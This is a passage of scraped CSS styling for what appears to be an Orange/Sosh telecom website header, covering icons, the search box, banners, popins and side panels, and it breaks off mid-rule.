.gp .icon.forum { --icon: ""; } .gp .icon.instagram { --icon: ""; } .gp .icon.internet { --icon: ""; } .gp .icon.keypad { --icon: ""; } .gp .icon.link { --icon: ""; } .gp .icon.linkedin { --icon: ""; } .gp .icon.livebox { --icon: ""; } .gp .icon.livraison { --icon: ""; } .gp .icon.mail { --icon: ""; } .gp .icon.maison-protegee { --icon: ""; } .gp .icon.manette { --icon: ""; } .gp .icon.moment-de-vie { --icon: ""; } .gp .icon.musique { --icon: ""; } .gp .icon.news { --icon: ""; } .gp .icon.notification { --icon: ""; } .gp .icon.options { --icon: ""; } .gp .icon.orange-accompagne { --icon: ""; } .gp .icon.parametre { --icon: ""; } .gp .icon.parental-control { --icon: ""; } .gp .icon.payement2 { --icon: ""; } .gp .icon.payment { --icon: ""; } .gp .icon.phone-sim { --icon: ""; } .gp .icon.phone { --icon: ""; } .gp .icon.pin-geoloc { --icon: ""; } .gp .icon.pinterest { --icon: ""; } .gp .icon.replay { --icon: ""; } .gp .icon.reseaux { --icon: ""; } .gp .icon.retour { --icon: ""; } .gp .icon.search { --icon: ""; } .gp .icon.securite { --icon: ""; } .gp .icon.service5g { --icon: ""; } .gp .icon.sim { --icon: ""; } .gp .icon.svod { --icon: ""; } .gp .icon.telephone { --icon: ""; } .gp .icon.tiktok { --icon: ""; } .gp .icon.tv { --icon: ""; } .gp .icon.vod { --icon: ""; } .gp .icon.voicemail { --icon: ""; } .gp .icon.x-com { --icon: ""; } .gp .icon.youtube { --icon: ""; } .sosh .icon.aide { --icon: ""; } .sosh .icon.avatar { --icon: ""; } .sosh .icon.burger { --icon: ""; } .sosh .icon.camion { --icon: ""; } .sosh .icon.chevron-double { --icon: ""; } .sosh .icon.cloche { --icon: ""; } .sosh .icon.deconnexion { --icon: ""; } .sosh .icon.delete { --icon: ""; } .sosh .icon.double-underline { --icon: ""; } .sosh .icon.facture { --icon: ""; } .sosh .icon.sim { --icon: ""; } .icon.logo-orange-small::before { content: ""; background-image: url(""); width: 1.125em; height: 1.125em; background-repeat: no-repeat; } .button-comp { padding: 9px 20px 5px; cursor: pointer; text-decoration: none; white-space: nowrap; color: rgb(255, 255, 255); border: 2px solid rgb(255, 255, 255); background-color: rgb(0, 0, 0); font-size: inherit; font-weight: inherit; outline: none; outline-offset: 4px !important; transition: outline-offset 0.15s ease-in-out !important; } .button-comp:focus-visible { outline-width: 2px; outline-style: solid; outline-offset: 0px !important; } .button-comp:active { color: rgb(0, 0, 0); outline: none; background-color: rgb(255, 255, 255); } button.as-link { border: medium; background: unset; padding: 0px; font-family: inherit; } a, button.as-link { display: inline-block; clear: both; cursor: pointer; text-decoration: none; color: rgb(255, 255, 255); outline: none; outline-offset: 6px !important; transition: outline-offset 0.15s ease-in-out !important; } a.sosh, button.as-link.sosh { color: rgb(0, 0, 0); } a:focus-visible, button.as-link:focus-visible { outline-width: 2px; outline-style: solid; outline-offset: 2px !important; } a:hover, a:focus-visible, button.as-link:hover, button.as-link:focus-visible { text-decoration: underline; color: rgb(204, 204, 204); } a:hover.sosh, a:focus-visible.sosh, button.as-link:hover.sosh, button.as-link:focus-visible.sosh { color: rgb(0, 121, 128); text-decoration: none; font-weight: 700; } a:active, button.as-link:active { text-decoration: underline; color: rgb(241, 110, 0); } a:active.sosh, button.as-link:active.sosh { color: rgb(38, 130, 142); } a em, button.as-link em { color: rgb(255, 121, 0); font-style: normal; } a.link-icon-text { font-size: 1em; font-weight: 700; } a.link-icon-text::before { margin-right: 0.375em; vertical-align: middle; font-size: 1.875em; } i { font-style: normal; } .mobile-search-toggle:not([aria-expanded="true"]) + .morpheus-search { display: none; } .morpheus-search { font-family: "o-HelveticaNeue", Helvetica, Arial, sans-serif; color: rgb(255, 255, 255); margin: 0px; padding: 0.9375em; background: rgb(0, 0, 0); border: medium; width: 19.25em; } .morpheus-search.mobile { position: absolute; left: 0px; right: 0px; top: 100%; width: 100%; z-index: 9999; padding: 0px; } .morpheus-search form { position: relative; display: flex; align-items: center; background: rgba(255, 255, 255, 0.1); height: 2.375em; border-bottom: 1px solid rgb(255, 255, 255); } .morpheus-search form .before { pointer-events: none; position: absolute; left: 0.9375em; } .morpheus-search form .before::before { font-size: 1.0625em; } .morpheus-search form button { display: none; position: absolute; right: 0px; border: 0px; padding: 0px; width: 1.125em; height: 1.125em; cursor: pointer; background: none; color: rgb(204, 204, 204); outline: none; outline-offset: 8px !important; transition: outline-offset 0.15s ease-in-out !important; } .morpheus-search form button:focus-visible { outline-width: 2px; outline-style: solid; outline-offset: 4px !important; } .morpheus-search form button[type="submit"] { right: 1.25em; } .morpheus-search form button i::before { font-size: 1.125em; } .morpheus-search form .search-input { font-family: inherit; font-size: 0.875em; background: none; border: 0px; height: 100%; width: 100%; color: rgb(255, 255, 255); outline: none !important; cursor: text; padding: 0px 0px 0px 3.35714em; } .morpheus-search form .search-input::placeholder { color: rgb(204, 204, 204); font-weight: 400; opacity: 1; } .morpheus-search form button[type="reset"], .morpheus-search form button[type="submit"] { padding: 0.4em; justify-content: center; align-items: center; } .morpheus-search form .clear[type="reset"] { display: none; } .morpheus-search form button[type="reset"] { right: 1.25em; } .morpheus-search form button[type="reset"] i { font-size: 1.25em; } .morpheus-search form button[type="reset"][aria-hidden="true"] { display: none !important; } .morpheus-search form .spotlight-hit-results { display: none; position: absolute; list-style: none; top: calc(100% + 1px); right: 0px; left: 0px; margin: 0px; padding: 0.625em 0px; z-index: 9999; border: medium; background: rgb(39, 39, 39); } .morpheus-search form .spotlight-hit-results .spotlight-hit-results-title { color: rgb(255, 255, 255); padding: 5px 15px; font-size: 16px; font-weight: 700; line-height: 22px; border-bottom: 1px solid rgb(51, 51, 51); min-height: 2.375em; display: flex; align-items: center; } @media (max-width: 64em) { .morpheus-search form .spotlight-hit-results .spotlight-hit-results-title { min-height: 3.0625em; } } .morpheus-search form .spotlight-hit-results li:first-of-type + .spotlight-hit-result { display: none; visibility: hidden; height: 0px; } .morpheus-search form .spotlight-hit-results .spotlight-hit-result { line-height: initial; overflow: hidden; white-space: nowrap; text-overflow: ellipsis; cursor: pointer; color: rgb(255, 255, 255); display: flex; align-items: center; min-height: 2.4375em; } .morpheus-search form .spotlight-hit-results .spotlight-hit-result i.search.icon { position: absolute; left: 0.875em; font-size: 1.25em; pointer-events: none; } .morpheus-search form .spotlight-hit-results .spotlight-hit-result a { overflow: hidden; text-overflow: ellipsis; box-sizing: border-box; vertical-align: middle; text-decoration: none; width: 100%; font-size: 1em; padding: 0.3125em 2.8125em; color: rgb(255, 255, 255); } .morpheus-search form .spotlight-hit-results .spotlight-hit-result a em { font-weight: normal; color: inherit; } .morpheus-search form .spotlight-hit-results .spotlight-hit-result a em + span { font-weight: bold; } .morpheus-search form .spotlight-hit-results .spotlight-hit-result a img { display: block; float: left; margin-right: 0.625em; width: 2.5em; height: 3.375em; } .morpheus-search form .spotlight-hit-results .spotlight-hit-result a p { display: block; margin: 0.125em 0px; font-weight: normal; color: rgb(170, 170, 170); } .morpheus-search form .search-box-overlay { --offset-height: calc(100vh - 100%); position: absolute; left: 0px; right: 0px; background: rgb(39, 39, 39); z-index: 2; top: 100%; height: var(--offset-height); display: none; border-top: 1px solid rgb(255, 255, 255); box-sizing: border-box; } .morpheus-search:focus-within, .morpheus-search.forced-open { background: rgb(39, 39, 39); border-bottom: 1px solid rgb(255, 255, 255); } .morpheus-search:focus-within form, .morpheus-search.forced-open form { border: medium !important; } .morpheus-search:focus-within form .close-mobile, .morpheus-search.forced-open form .close-mobile { display: block; position: unset; width: 1.5em; height: 1.5em; font-size: 16px; border: medium !important; outline: none !important; background: none; } .morpheus-search:focus-within form button[type="submit"], .morpheus-search:focus-within form .before, .morpheus-search.forced-open form button[type="submit"], .morpheus-search.forced-open form .before { display: none; } .morpheus-search:focus-within form .clear, .morpheus-search.forced-open form .clear { display: flex; } .morpheus-search:focus-within form .spotlight-hit-results, .morpheus-search.forced-open form .spotlight-hit-results { display: block; } .morpheus-search:focus-within form .search-box-overlay, .morpheus-search.forced-open form .search-box-overlay { display: block; } @media (max-width: 64em) { .morpheus-search:focus-within, .morpheus-search.forced-open { height: 3.125em; padding: 0px; margin-bottom: 1.125em; } .morpheus-search:focus-within form, .morpheus-search.forced-open form { height: 100%; width: 100%; } .morpheus-search:focus-within form .close-mobile, .morpheus-search.forced-open form .close-mobile { border-right: 1px solid rgb(51, 51, 51) !important; margin: 3px 0px 3px 15px; padding-right: 15px; width: unset; height: unset; } .morpheus-search:focus-within form .close-mobile i, .morpheus-search.forced-open form .close-mobile i { outline: none; outline-offset: 4px !important; transition: outline-offset 0.15s ease-in-out !important; } .morpheus-search:focus-within form .close-mobile i::before, .morpheus-search.forced-open form .close-mobile i::before { transform: translate(-1px, 1px) rotate(180deg); } .morpheus-search:focus-within form .close-mobile:focus-visible i, .morpheus-search.forced-open form .close-mobile:focus-visible i { outline: rgb(241, 110, 0) solid 2px !important; outline-offset: 2px !important; } .morpheus-search:focus-within form .search-input, .morpheus-search.forced-open form .search-input { padding-left: 0.875em; padding-right: 3em; font-size: 1em; } .morpheus-search:focus-within form .spotlight-hit-results, .morpheus-search.forced-open form .spotlight-hit-results { padding-top: 0px; } .morpheus-search:focus-within form .spotlight-hit-results .spotlight-hit-result, .morpheus-search.forced-open form .spotlight-hit-results .spotlight-hit-result { border-bottom: 1px solid rgb(51, 51, 51); min-height: 3.0625em; display: flex; align-items: center; padding: 0px; } .morpheus-search:focus-within form .spotlight-hit-results .spotlight-hit-result a, .morpheus-search.forced-open form .spotlight-hit-results .spotlight-hit-result a { padding: 0.3125em 0.9375em 0.3125em 2.8125em !important; line-height: 1.375em; } .morpheus-search:focus-within form .spotlight-hit-results .spotlight-hit-result:hover, .morpheus-search:focus-within form .spotlight-hit-results .spotlight-hit-result:focus-within, .morpheus-search:focus-within form .spotlight-hit-results .spotlight-hit-result:focus, .morpheus-search:focus-within form .spotlight-hit-results .spotlight-hit-result:focus-visible, .morpheus-search:focus-within form .spotlight-hit-results .spotlight-hit-result[data-active="true"], .morpheus-search.forced-open form .spotlight-hit-results .spotlight-hit-result:hover, .morpheus-search.forced-open form .spotlight-hit-results .spotlight-hit-result:focus-within, .morpheus-search.forced-open form .spotlight-hit-results .spotlight-hit-result:focus, .morpheus-search.forced-open form .spotlight-hit-results .spotlight-hit-result:focus-visible, .morpheus-search.forced-open form .spotlight-hit-results .spotlight-hit-result[data-active="true"] { background: rgb(85, 85, 85); } .morpheus-search:focus-within form .search-box-overlay, .morpheus-search.forced-open form .search-box-overlay { display: block; } } @media (max-width: 68.75em) { .morpheus-search { width: 15em; } } @media (max-width: 64em) { .morpheus-search { width: auto; } } @media (min-width: 64.0625em) { .morpheus-search { height: 2.875em; padding: 0px; border-bottom: 1px solid rgb(255, 255, 255); } .morpheus-search form { height: 100%; width: auto; border: 1px solid rgba(0, 0, 0, 0); } .morpheus-search form button { color: rgb(255, 255, 255); } .morpheus-search form .close-mobile { display: none; } .morpheus-search form .search-input { padding: 0.857143em 2.14286em 1em 3.35714em; } .morpheus-search form button[type="reset"] { right: 3.3125em; } .morpheus-search form .spotlight-hit-results { border: 1px solid rgb(85, 85, 85); top: 100%; } .morpheus-search form .spotlight-hit-results .spotlight-hit-result a { padding: 0.4375em 0.9375em 0.625em 2.8125em; color: rgb(0, 0, 0); } .morpheus-search form .search-box-overlay { display: none !important; } .morpheus-search:focus-within { border: medium; } .morpheus-search:focus-within form { background: rgb(255, 255, 255); border-color: rgb(85, 85, 85); } .morpheus-search:focus-within form button[type="reset"], .morpheus-search:focus-within form button[type="submit"] { display: flex; color: rgb(0, 0, 0); } .morpheus-search:focus-within form .before, .morpheus-search:focus-within form .close-mobile { display: none !important; } .morpheus-search:focus-within form .search-input { padding: 0.84375em 4.5em 0.84375em 0.9375em; font-weight: 700; color: rgb(0, 0, 0); border: 1px solid rgb(85, 85, 85); } .morpheus-search:focus-within form .search-input::placeholder { color: rgb(51, 51, 51); } .morpheus-search:focus-within form .spotlight-hit-results { background-color: rgb(255, 255, 255); border: 1px solid rgb(85, 85, 85); padding-top: 0.5em; padding-bottom: 0.5em; } .morpheus-search:focus-within form .spotlight-hit-results li.spotlight-hit-results-title { color: rgb(85, 85, 85); font-size: 0.875em; line-height: 1.25em; border: medium; } .morpheus-search:focus-within form .spotlight-hit-results li.spotlight-hit-result:hover, .morpheus-search:focus-within form .spotlight-hit-results li.spotlight-hit-result:focus-within, .morpheus-search:focus-within form .spotlight-hit-results li.spotlight-hit-result:focus, .morpheus-search:focus-within form .spotlight-hit-results li.spotlight-hit-result:focus-visible, .morpheus-search:focus-within form .spotlight-hit-results li.spotlight-hit-result[data-active="true"] { background: rgb(244, 244, 244); } .morpheus-search:focus-within form .spotlight-hit-results li.spotlight-hit-result .icon.search { color: rgb(0, 0, 0); } .morpheus-search:focus-within form .spotlight-hit-results li.spotlight-hit-result a { padding: 0.3125em 2.8125em; font-size: 1em; line-height: 1.375em; } } .band { display: block; width: 100%; box-sizing: border-box; background-color: rgb(0, 0, 0); color: rgb(255, 255, 255); font-family: o-HelveticaNeue, Arial, sans-serif; padding: 1.25em calc(50% - 41.25em); } @media (max-width: 90em) { .band { padding: 1.25em 3.75em; } } @media (max-width: 80em) { .band { padding: 1.25em 3.4375em; } } @media (max-width: 64em) { .band { padding: 0.625em 2.9375em; } } @media (max-width: 48em) { .band { padding: 0.625em 1.6875em; } } @media (max-width: 30em) { .band { padding: 0.625em 0.9375em; } } .band.is-layer-open, .band.is-navigation-open, .band.is-overlay-visible { z-index: 99980; } .band.is-layer-open.has-layer, .band.is-navigation-open.has-layer, .band.is-overlay-visible.has-layer { z-index: 99990; } .band.is-layer-open.under-overlay, .band.is-navigation-open.under-overlay, .band.is-overlay-visible.under-overlay { z-index: 99800; } .band.gp { background-color: rgb(0, 0, 0); color: rgb(255, 255, 255); } .band.sosh { background-color: rgb(38, 130, 142); color: rgb(255, 255, 255); padding-top: 0px; padding-bottom: 0px; min-height: 3.125em; } @keyframes overlay-in { 0% { opacity: 0; visibility: hidden; } 1% { visibility: visible; } 100% { visibility: visible; opacity: 0.5; } } @keyframes overlay-out { 0% { visibility: visible; opacity: 0.5; } 99% { visibility: visible; } 100% { visibility: hidden; opacity: 0; } } .pos-marker { position: absolute; width: 0px; height: 0px; visibility: hidden; } .overlay { position: fixed; inset: 0px; background-color: rgb(0, 0, 0); z-index: 99900; opacity: 0; visibility: hidden; animation: none; } .overlay.is-active { opacity: 0; visibility: hidden; animation: 0.3s overlay-out; } .overlay.is-active.is-shown { opacity: 0.5; visibility: visible; animation: 0.3s overlay-in; } .band { display: block; width: 100%; box-sizing: border-box; background-color: rgb(0, 0, 0); color: rgb(255, 255, 255); font-family: o-HelveticaNeue, Arial, sans-serif; padding: 1.25em calc(50% - 41.25em); } @media (max-width: 90em) { .band { padding: 1.25em 3.75em; } } @media (max-width: 80em) { .band { padding: 1.25em 3.4375em; } } @media (max-width: 64em) { .band { padding: 0.625em 2.9375em; } } @media (max-width: 48em) { .band { padding: 0.625em 1.6875em; } } @media (max-width: 30em) { .band { padding: 0.625em 0.9375em; } } .band.is-layer-open, .band.is-navigation-open, .band.is-overlay-visible { z-index: 99980; } .band.is-layer-open.has-layer, .band.is-navigation-open.has-layer, .band.is-overlay-visible.has-layer { z-index: 99990; } .band.is-layer-open.under-overlay, .band.is-navigation-open.under-overlay, .band.is-overlay-visible.under-overlay { z-index: 99800; } .band.gp { background-color: rgb(0, 0, 0); color: rgb(255, 255, 255); } .band.sosh { background-color: rgb(38, 130, 142); color: rgb(255, 255, 255); padding-top: 0px; padding-bottom: 0px; min-height: 3.125em; } .layer { position: relative; } .layer .popin { right: 50%; position: absolute; top: 100%; z-index: 9998; box-shadow: rgba(0, 0, 0, 0.5) 0px 0px 5px; background: rgb(255, 255, 255); color: rgb(0, 0, 0); padding: 0.9375em; } @media (max-width: 48em) { .layer .popin { padding: 1.6875em; } } @media (max-width: 30em) { .layer .popin { padding: 0.9375em; } } .layer .popin h1 { font-size: 1.25em; font-weight: bold; margin: 0px 0px 0.625em; padding: 0px; } .layer .popin .close-button { position: absolute; top: 0.75em; right: 0.75em; cursor: pointer; background-color: rgba(0, 0, 0, 0); border: medium; font-size: 1.25em; outline: none; outline-offset: 0px !important; transition: outline-offset 0.15s ease-in-out !important; } .layer .popin .close-button:focus-visible { outline-width: 2px; outline-style: solid; outline-offset: -4px !important; } .layer[data-state="inactive"] .popin { visibility: hidden; transform: translateX(0px); } .layer[data-state="active"] .popin { visibility: visible; transform: translateX(50%); } .layer .layer-mobile-overlay { display: none; } @media screen and (max-width: 48em) { .layer { position: static; } .layer .popin { left: 0px; right: 0px; width: auto !important; min-width: auto !important; max-width: 100000000px !important; transform: translateX(0px) !important; } .layer .layer-mobile-overlay { display: block; position: fixed; top: initial; left: 0px; right: 0px; height: 100vh; z-index: 9990; background-color: rgba(4, 4, 15, 0.4); width: auto !important; min-width: auto !important; max-width: 100000000px !important; transform: translateX(0px) !important; } } .layer.keep-right .popin { transform: translateX(calc(var(--popin-overflow-right))); } .sosh .layer .popin { box-shadow: rgba(0, 0, 0, 0.1) 0px 0px 8px 0px; } .sosh .layer .popin .close-button { font-size: 1em; outline-offset: 0.25em !important; } .sosh .layer .popin .close-button:focus-visible { outline-color: rgb(222, 37, 84) !important; outline-offset: 0.0625em !important; } .side-panel { top: 0px; right: 0px; position: absolute; z-index: 999999; padding: 0px; box-shadow: none; font-size: 1em; width: 0px; height: calc(100vh - var(--top-offset, 0em)); overflow: hidden auto; background: rgb(255, 255, 255); transition: width 0.5s, visibility 0.01s linear 0.5s; visibility: hidden; } .side-panel .content-overflow-wrapper { position: absolute; left: 0px; width: 20em; min-height: 100%; } .side-panel .side-panel[data-state="inactive"] { overflow: hidden; } .side-panel[data-state="active"] { width: 20em; visibility: visible; transition: width 0.5s, visibility 0.01s linear; } @media screen and (max-width: 30em) { .side-panel.mobile-full-screen { inset: 0px auto 0px 0px; width: 100%; height: auto; opacity: 0; transition: opacity 0.5s, visibility 0.01s linear 0.5s; } .side-panel.mobile-full-screen[data-state="active"] { left: 0px; transition: opacity 0.5s, visibility 0.01s linear; opacity: 1; height: 100vh; } .side-panel.mobile-full-screen .content-overflow-wrapper { width: 100%; } } .side-panel .top-sub-links { padding-top: 1.375em; } .side-panel .top-sub-links a { color: rgb(0, 0, 0); text-decoration: underline; padding-bottom: 1.375em; } .side-panel .top-sub-links a:hover { color: rgb(85, 85, 85); } .side-panel .bottom-links a { display: flex; justify-content: center; align-items: center; } .side-panel .bottom-links a i { margin-right: 0.625em; } .side-panel .bottom-links a i::before { display: flex; } .side-panel .close-button { position: absolute; right: 0.3125em; top: 0.3125em; padding: 0.625em 0.75em; cursor: pointer; margin-left: auto; border: 0px; background: none; font-size: 1.125em; line-height: 1em; float: left; color: rgb(0, 0, 0); outline: none; outline-offset: 0px !important; transition: outline-offset 0.15s ease-in-out !important; } .side-panel .close-button:hover, .side-panel .close-button:focus-visible { color: rgb(85, 85, 85); } .side-panel .close-button:focus-visible { outline-width: 2px; outline-style: solid; outline-offset: -4px !important; } .side-panel-overlay { position: absolute; top: 0px; left: 0px; display: block; width: 100%; height: 625em; z-index: 999998; background-color: rgba(4, 4, 15, 0.4); max-width: none; } .skeleton { position: unset; display: flex; overflow: hidden; background-color: rgb(38, 38, 38); margin: 10px; } .skeleton::before { content: ""; width: 100%; inset: 0px; background: linear-gradient(90deg, rgb(38, 38, 38), rgb(31, 31, 31), rgb(38, 38, 38)); transform: translateX(-100%); animation: 1.25s infinite skeleton; } .gp .skeleton { min-height: 1.875em; background-color: rgb(38, 38, 38); } .gp .skeleton::before { background: linear-gradient(90deg, rgb(38, 38, 38), rgb(31, 31, 31), rgb(38, 38, 38)); } .sosh .skeleton { min-height: 1.25em; background-color: rgb(242, 242, 242); } .sosh .skeleton::before { background: linear-gradient(90deg, rgb(242, 242, 242), rgb(235, 235, 235), rgb(242, 242, 242)); } @keyframes skeleton { 0% { transform: translateX(-100%); } 100% { transform: translateX(100%); } } .panel-button { position: relative; font-family: inherit; background-color: rgba(0, 0, 0, 0); border: 0px; display: inline-block; cursor: pointer; box-sizing: border-box; padding: 0px; text-align: center; font-size: inherit; justify-content: center; outline: none; outline-offset: 2px !important; transition: outline-offset 0.15s ease-in-out !important; } .panel-button::before { display: inline-block; } .panel-button:focus-visible { outline-width: 2px; outline-style: solid; outline-offset: -2px !important; } .panel-button:hover, .panel-button:focus-visible { color: rgb(204, 204, 204); } .panel-button:hover i::before, .panel-button:focus-visible i::before { color: rgb(204, 204, 204); } .panel-button:active { color: rgb(241, 110, 0); } .panel-button:active i::before { color: rgb(241, 110, 0); } .gp .panel-button { font-weight: bold; color: rgb(255, 255, 255); min-height: 2.5em; min-width: 2.5em; } .gp .panel-button::before { font-size: 1.1875em; line-height: 2.10526em; min-height: 2.10526em; font-weight: 400; font-variant: normal; } @media screen and (max-width: 64em) { .gp .panel-button { min-height: 2em; min-width: 2em; } } .gp [data-state="active"] > .panel-button.has-arrow::after { border-bottom-color: rgb(255, 255, 255); } .sosh .panel-button { color: rgb(255, 255, 255); } .sosh .panel-button::before { font-size: 1.75em; } .sosh [data-state="active"] > .panel-button.has-arrow::after { border-bottom-color: rgb(222, 37, 84); } @media (max-width: 48em) { .sosh [data-state="active"] > .panel-button.has-arrow::after { bottom: -0.9375em; } } [data-state="active"] > .panel-button.has-arrow::after { content: ""; position: absolute; width: 0px; height: 0px; border-left: 6px solid rgba(0, 0, 0, 0); border-right: 6px solid rgba(0, 0, 0, 0); border-bottom-width: 6px; border-bottom-style: solid; bottom: 0px; left: calc(50% - 6px); z-index: 10000; } @media (max-width: 48em) { [data-state="active"] > .panel-button.has-arrow::after { bottom: -0.625em; } } .zema-badge { position: fixed; right: 0.125em; top: 0.125em; padding: 0.125em 0.4375em 0.125em 1.25em; border-radius: 0.625em; border: 0.125em solid rgb(255, 102, 0); color: rgb(85, 85, 85); background-color: rgb(255, 255, 255); box-shadow: rgb(85, 85, 85) 0px 0px 0.625em; pointer-events: none; font-family: Arial, sans-serif; font-size: 0.875em; z-index: 100000000; transform-origin: right bottom 0px; transform: rotate(-90deg) translate(1.3125em, -0.125em); } .zema-badge i { display: block; position: absolute; left: 0.4375em; top: calc(50% - 0.25em); color: rgb(85, 85, 85); width: 0.5em; aspect-ratio: 1 / 1; border-radius: 50%; background: rgb(255, 102, 0); box-shadow: rgb(255, 102, 0) 0px 0px 0px 0px; } .zema-badge.loading i { animation: 1s infinite emit; } .zema-badge.loaded { animation: 3s ease-in-out infinite alternate both pulse; } .zema-badge.loaded i { background: rgb(0, 221, 0); } .zema-badge.error i { animation: 0.1s ease-in-out infinite alternate both pulse; background: rgb(255, 69, 0); } @keyframes emit { 100% { box-shadow: rgba(0, 0, 0, 0) 0px 0px 0px 1.875em; } } @keyframes pulse { 0% { opacity: 0.9; } 100% { opacity: 0.2; } } .band.bandeau-recollecte { width: 100%; background-color: rgb(233, 247, 255); color: rgb(0, 0, 0); box-shadow: rgba(128, 128, 128, 0.27) 0px 0px 10px; position: relative; z-index: 10000000; display: flex; gap: 1.25em; align-items: center; } @media screen and (max-width: 48em) { .band.bandeau-recollecte { position: fixed; bottom: 0px; flex-direction: column; align-items: center; gap: 1.25em; } } .band.bandeau-recollecte .message { position: relative; display: flex; flex-direction: column; margin-top: 0px; font-size: 15px; flex-grow: 2; } @media screen and (min-width: 80em) { .band.bandeau-recollecte .message { flex-basis: 80%; } } .band.bandeau-recollecte .message h2 { display: flex; align-items: flex-start; margin-top: 0px; font-size: 16px; font-weight: bold; line-height: 20px; } .band.bandeau-recollecte .message h2 i.icon.info::before { padding-right: 10px; color: rgb(0, 183, 255); font-size: xx-large; } @media screen and (min-width: 80em) { .band.bandeau-recollecte .message h2 i.icon.info::before { left: -57px; } } .band.bandeau-recollecte .message h2 i.icon.arrow-right { display: none; } @media screen and (max-width: 48em) { .band.bandeau-recollecte .message h2 i.icon.arrow-right { display: block; } .band.bandeau-recollecte .message h2 i.icon.arrow-right::before { text-align: center; font-size: 1.25em; margin-left: auto; display: block; transform: rotate(270deg); } .band.bandeau-recollecte .message h2[aria-expanded="true"] i.icon.arrow-right::before { transform: rotate(90deg); } } .band.bandeau-recollecte .message p { line-height: 1.5; margin: 0px; display: block; } .band.bandeau-recollecte .message p.mobile-expanded { display: block; } @media screen and (max-width: 48em) { .band.bandeau-recollecte .message p { display: none; } } .band.bandeau-recollecte .message ul { padding: 1em 0px 0px; display: flex; flex-direction: row; justify-content: flex-start; margin: 0px; } @media (max-width: 48em) { .band.bandeau-recollecte .message ul { flex-direction: column; } } .band.bandeau-recollecte .message ul li { margin-left: 1.25em; margin-right: 1.25em; } .band.bandeau-recollecte .buttons { display: flex; flex-direction: row; justify-content: flex-end; gap: 1.25em; } @media screen and (max-width: 64em) { .band.bandeau-recollecte .buttons { flex-direction: column; align-items: center; } } .band.bandeau-recollecte .buttons button { width: 100%; box-sizing: border-box; padding: 18px 55px; vertical-align: middle; color: rgb(0, 0, 0); background-color: rgba(0, 0, 0, 0); font-size: 18px; font-weight: bold; line-height: 20px; } .band.bandeau-recollecte .buttons button.blacked { border: medium; background-color: rgb(0, 0, 0); color: rgb(255, 255, 255); } .band.bandeau-recollecte .buttons button.raw { border: medium; padding: 14px 25px; text-decoration: underline; } .band.bandeau-recollecte .overlay { overflow-y: scroll; position: fixed; width: 100%; height: 100%; inset: 0px; visibility: visible; opacity: 1; background-color: rgba(0, 0, 0, 0.5); z-index: 10; place-content: center; text-align: center; } .band.bandeau-recollecte .overlay .pop-in { text-align: initial; position: relative; min-height: 50px; margin: 70px 10px; padding: 10px 20px; background-color: rgb(255, 255, 255); } @media screen and (min-width: 48em) { .band.bandeau-recollecte .overlay .pop-in { display: inline-block; text-align: initial; max-width: 46.875em; line-height: 1.5; vertical-align: middle; } } .band.bandeau-recollecte .overlay .pop-in .close-popin { position: absolute; right: 0.625em; top: 0.625em; width: 2em; height: 2em; border: medium; background-color: rgba(0, 0, 0, 0); cursor: pointer; } .band.bandeau-recollecte .overlay .pop-in .close-popin.icon::before { font-size: x-large; } .band.bandeau-recollecte .overlay .pop-in h3 { font-size: 1.125em; } .band.bandeau-recollecte .overlay .pop-in p { font-size: 0.875em; } .band.bandeau-recollecte .overlay .pop-in p ul { padding-left: 1.28571em; margin-top: 0.357143em; } .band.bandeau-recollecte .overlay .pop-in > .buttons { flex-direction: row-reverse; gap: 1.25em; } @media screen and (max-width: 48em) { .band.bandeau-recollecte .overlay .pop-in > .buttons { flex-direction: column; } } .band.bandeau-recollecte .overlay .pop-in > .buttons button { font-size: 1em; width: 15.625em; } @media screen and (max-width: 22.5em) { .band.bandeau-recollecte .overlay .pop-in > .buttons button { width: 100%; margin-top: 0px; } } .band.bandeau-recollecte .overlay .pop-in .pop-in-link { margin-bottom: 0.625em; display: block; color: rgb(0, 0, 0); text-decoration: underline; font-weight: 700; text-align: left; font-size: 0.875em; margin-top: 1em; } @media (max-width: 48em) { .band.bandeau-recollecte .overlay .pop-in .pop-in-link { text-align: center; } } .band.bandeau-recollecte .overlay .pop-in .pop-in-link :hover { color: rgb(0, 0, 0); } .band.bandeau-pays-francophones { position: sticky; z-index: 10000000; top: 0px; width: 100%; color: rgb(0, 0, 0); background-color: rgb(233, 247, 255); box-shadow: rgba(128, 128, 128, 0.27) 0px 0px 0.625em; display: flex; justify-content: space-between; align-items: center; gap: 1.25em; } @media (max-width: 48em) { .band.bandeau-pays-francophones { flex-wrap: wrap; } } .band.bandeau-pays-francophones div.message { align-self: flex-start; margin-left: 2.5em; position: relative; display: flex; flex-direction: column; font-size: 0.875em; line-height: 1.4; } .band.bandeau-pays-francophones div.message i { position: absolute; left: -1.25em; margin-right: 0.9375em; font-size: 2em; line-height: 0.9; color: rgb(0, 183, 255); } .band.bandeau-pays-francophones div.message h2 { font-size: 1em; font-weight: bold; line-height: 1.5; margin-top: 0px; } .band.bandeau-pays-francophones .buttons { display: flex; flex-direction: column; align-items: center; flex-basis: 40%; gap: 1.5625em; } @media screen and (max-width: 48em) { .band.bandeau-pays-francophones .buttons { flex-basis: 100%; flex-grow: 1; justify-content: space-around; } } @media screen and (min-width: 60.0625em) { .band.bandeau-pays-francophones .buttons { flex-basis: 50%; flex-direction: row; justify-content: flex-end; } } .band.bandeau-pays-francophones .buttons button { box-sizing: border-box; padding: 0.875em 3em; vertical-align: middle; color: rgb(0, 0, 0); background-color: rgba(0, 0, 0, 0); font-size: 1em; font-weight: bold; line-height: 1em; } .band.bandeau-pays-francophones .buttons button.borded { border: 0.0625em solid rgb(0, 0, 0); } @media (max-width: 22.5em) { .band.bandeau-pays-francophones .buttons button.borded { width: 100%; padding: 0.875em; white-space: normal !important; } } .band.bandeau-pays-francophones .buttons button.raw { position: relative; border: medium; margin-bottom: 0px; padding: 0.3125em 1.5625em; } .band.bandeau-pays-francophones .buttons button.raw.icon::before { position: absolute; right: 0px; box-sizing: border-box; padding-left: 0.1875em; font-size: 1em; } .band.bandeau-accessibility { background-color: rgb(51, 51, 51); position: absolute; left: -624.938em; padding-top: 0.5em; padding-bottom: 0.5em; } .band.bandeau-accessibility:focus-within, .band.bandeau-accessibility.blocked { position: relative; left: 0px; z-index: 99980; } .band.bandeau-accessibility a { font-size: 0.9em; font-weight: bold; line-height: 1em; padding: 0.25em 0.3125em; margin-right: 2.8125em; margin-left: -0.625em; color: rgb(255, 255, 255); } .band.bandeau-accessibility a:focus { color: rgb(204, 204, 204); } .band.bandeau-accessibility.sosh { align-content: center; background-color: rgb(0, 0, 0); } .band.bandeau-accessibility.sosh a:active, .band.bandeau-accessibility.sosh a:hover, .band.bandeau-accessibility.sosh a:focus, 